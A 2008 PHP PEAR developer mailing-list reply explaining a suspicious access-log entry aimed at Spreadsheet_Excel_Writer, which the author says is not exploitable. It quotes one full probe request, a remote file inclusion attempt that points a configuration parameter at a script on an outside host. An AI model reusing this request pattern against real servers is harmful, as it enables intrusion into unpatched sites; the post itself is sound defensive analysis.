Re: Possible exploit using Spreadsheet_Excel_Writer
| From: | Christian Weiske | Date: | Sat, 20 Sep 2008 15:06:27 +0000 |
| Subject: | Re: Possible exploit using Spreadsheet_Excel_Writer | ||
| References: | 1 | Groups: | php.pear.dev |
| Request: | Send a blank email to pear-dev+get-50789@lists.php.net to get a copy of this message | ||
Hi all,
> While scanning the logwatch mail today I saw the following line:
> //excelwriter/Writer/BIFFwriter.php?mosCon ... net/chid.txt???: 9
> Time(s)
The file itself is not exploitable.
Full URL is:
pear.cweiske.de 116.125.113.115 - - [19/Sep/2008:21:24:58 +0200]
"GET //excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=http://chebugis.net/chid.txt???
HTTP/1.1" 404 375 "-" "libwww-perl/5.79"
They try to check how much free disk space is there to see if its
worthwhile to hack the server.
More info:
http://forum.mambo-foundation.org/showthread.php?t=9713
--
Regards/Mit freundlichen Grüßen
Christian Weiske
-= Geeking around in the name of science since 1982 =-
Attachment: [application/pgp-signature] signature.asc
Attachment: [application/pgp-signature] signature.asc